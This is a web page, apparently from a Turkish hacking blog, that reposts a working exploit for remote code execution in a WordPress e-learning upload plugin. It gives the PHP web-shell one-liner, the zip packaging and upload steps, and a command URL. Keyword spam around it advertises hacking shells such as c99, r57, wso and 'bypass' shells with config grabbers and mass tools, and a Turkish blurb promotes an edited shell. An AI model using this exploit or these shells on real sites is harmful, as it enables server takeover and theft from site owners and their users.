angel shell bypass shell Shell download Litespeed Bypass Shell C99 shell r57 shell wso shell Bypass shell Symlink shell cgi telnet 404 shell forbidden shell anon shell privshells private shell privateshell
12:17
exploit WordPress Plugin Insert or Embed Articulate Content into WordPress - Remote Code Execution
# Exploit Title: Authenticated code execution in `insert-or-embed-articulate-content-into-wordpress` Wordpress plugin
# Description: It is possible to upload and execute a PHP file using the plugin option to upload a zip archive
# Date: june 2019
# Exploit Author: xulchibalraa
# Vendor Homepage: https://wordpress.org/plugins/insert-or-embed-articulate-content-into-wordpress/
# Software Link: https://downloads.wordpress.org/plugin/insert-or-embed-articulate-content-into-wordpress.4.2995.zip
# Version: 4.2995 <= 4.2997
# Tested on: Wordpress 5.1.1, PHP 5.6
# CVE : -
## 1. Create a .zip archive with 2 files: index.html, index.php
echo "<html>hello</html>" > index.html
echo "<?php echo system($_GET['cmd']); ?>" > index.php
zip poc.zip index.html index.php
## 2. Log in to wp-admin with any user role that has access to the plugin functionality (by default even `Contributors` role have access to it)
## 3. Create a new Post -> Select `Add block` -> E-Learning -> Upload the poc.zip -> Insert as: Iframe -> Insert (just like in tutorial https://youtu.be/knst26fEGCw?t=44 ;)
## 4. Access the webshell from the URL displayed after upload similar to
http://website.com/wp-admin/uploads/articulate_uploads/poc/index.php?cmd=whoami
bypass shell Stupidc0de php shell download Litespeed Bypass Shell
bypass shell Stupidc0de php shell ,jumping shell, config shell
Command, Config Grabber, Domain Viewer , Mass Tool , Cpanel Tool,
Bypass Tools , File Creator, Create RDP, Jumping, Dumper tool
dhanush shell bypass shell -litespeed bypass shell
shell helix bypass shell Piyasada çok kişi tarafından kullanılan shell'in editlenmiş versiyonu.
İçerisine jumping,passwd,c1ve Cgi telnet eklenmiş olan shell ile daha hızlı ve kolay çalışabilirsiniz.
0 yorum:
Yorum Gönder